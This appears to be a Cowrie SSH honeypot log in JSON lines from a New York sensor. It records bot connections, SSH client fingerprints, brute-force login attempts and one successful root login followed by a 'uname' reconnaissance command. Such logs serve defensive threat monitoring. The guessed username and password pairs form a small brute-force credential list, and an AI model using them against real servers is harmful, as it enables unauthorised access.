{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:48:31.271628Z","src_ip":"165.154.6.49","session":"3c0eaa849473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"krishna","password":"123","message":"login attempt [krishna/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:48:32.181066Z","src_ip":"165.154.6.49","session":"3c0eaa849473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:48:33.399398Z","src_ip":"165.154.6.49","session":"3c0eaa849473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":55198,"dst_ip":"159.203.135.109","dst_port":22,"session":"085676089bf1","protocol":"ssh","message":"New connection: 162.120.6.20:55198 (159.203.135.109:22) [session: 085676089bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:14.989653Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.061378Z","src_ip":"162.120.6.20","session":"085676089bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":55206,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c8a5333082","protocol":"ssh","message":"New connection: 162.120.6.20:55206 (159.203.135.109:22) [session: f6c8a5333082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.123502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.127732Z","src_ip":"162.120.6.20","session":"f6c8a5333082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.195823Z","src_ip":"162.120.6.20","session":"f6c8a5333082","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qazzxc","message":"login attempt [root/qazzxc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.398692Z","src_ip":"162.120.6.20","session":"f6c8a5333082","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.566169Z","src_ip":"162.120.6.20","session":"f6c8a5333082","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.568881Z","src_ip":"162.120.6.20","session":"f6c8a5333082","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.638897Z","src_ip":"162.120.6.20","session":"f6c8a5333082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:15.643148Z","src_ip":"162.120.6.20","session":"f6c8a5333082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46124,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7075469fb15","protocol":"ssh","message":"New connection: 195.178.110.218:46124 (159.203.135.109:22) [session: d7075469fb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:26.554467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:26.557760Z","src_ip":"195.178.110.218","session":"d7075469fb15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:26.636668Z","src_ip":"195.178.110.218","session":"d7075469fb15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:26.876334Z","src_ip":"195.178.110.218","session":"d7075469fb15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:27.958131Z","src_ip":"195.178.110.218","session":"d7075469fb15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":54406,"dst_ip":"159.203.135.109","dst_port":22,"session":"86b5d05c6a65","protocol":"ssh","message":"New connection: 2.57.122.96:54406 (159.203.135.109:22) [session: 86b5d05c6a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:28.104014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:28.129678Z","src_ip":"2.57.122.96","session":"86b5d05c6a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:28.208443Z","src_ip":"2.57.122.96","session":"86b5d05c6a65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:28.612868Z","src_ip":"2.57.122.96","session":"86b5d05c6a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:49:29.714679Z","src_ip":"2.57.122.96","session":"86b5d05c6a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":40720,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad4578724019","protocol":"ssh","message":"New connection: 187.210.77.100:40720 (159.203.135.109:22) [session: ad4578724019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:16.896888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:16.901692Z","src_ip":"187.210.77.100","session":"ad4578724019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:17.090019Z","src_ip":"187.210.77.100","session":"ad4578724019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ociispth","password":"123","message":"login attempt [ociispth/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:17.866907Z","src_ip":"187.210.77.100","session":"ad4578724019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:19.055690Z","src_ip":"187.210.77.100","session":"ad4578724019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":35914,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ca03726c77","protocol":"ssh","message":"New connection: 165.154.6.49:35914 (159.203.135.109:22) [session: 63ca03726c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:24.389812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:24.394483Z","src_ip":"165.154.6.49","session":"63ca03726c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:24.610546Z","src_ip":"165.154.6.49","session":"63ca03726c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnadmin","password":"Vpnadmin123","message":"login attempt [vpnadmin/Vpnadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:25.508374Z","src_ip":"165.154.6.49","session":"63ca03726c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:50:26.727659Z","src_ip":"165.154.6.49","session":"63ca03726c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":59508,"dst_ip":"159.203.135.109","dst_port":22,"session":"24fa9136707b","protocol":"ssh","message":"New connection: 187.210.77.100:59508 (159.203.135.109:22) [session: 24fa9136707b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:51:20.436867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:51:20.441538Z","src_ip":"187.210.77.100","session":"24fa9136707b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:51:20.628699Z","src_ip":"187.210.77.100","session":"24fa9136707b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic123","message":"login attempt [elastic/elastic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:51:21.410441Z","src_ip":"187.210.77.100","session":"24fa9136707b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:51:22.598154Z","src_ip":"187.210.77.100","session":"24fa9136707b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41578,"dst_ip":"159.203.135.109","dst_port":22,"session":"857f23c9a1d3","protocol":"ssh","message":"New connection: 195.178.110.218:41578 (159.203.135.109:22) [session: 857f23c9a1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:09.129250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:09.133450Z","src_ip":"195.178.110.218","session":"857f23c9a1d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:09.207922Z","src_ip":"195.178.110.218","session":"857f23c9a1d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:09.431285Z","src_ip":"195.178.110.218","session":"857f23c9a1d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:10.507932Z","src_ip":"195.178.110.218","session":"857f23c9a1d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48646,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebeb551cb43c","protocol":"ssh","message":"New connection: 2.57.122.96:48646 (159.203.135.109:22) [session: ebeb551cb43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:14.134950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:52:14.139318Z","src_ip":"2.57.122.96","session":"ebeb551cb43c","protocol":"ssh"}
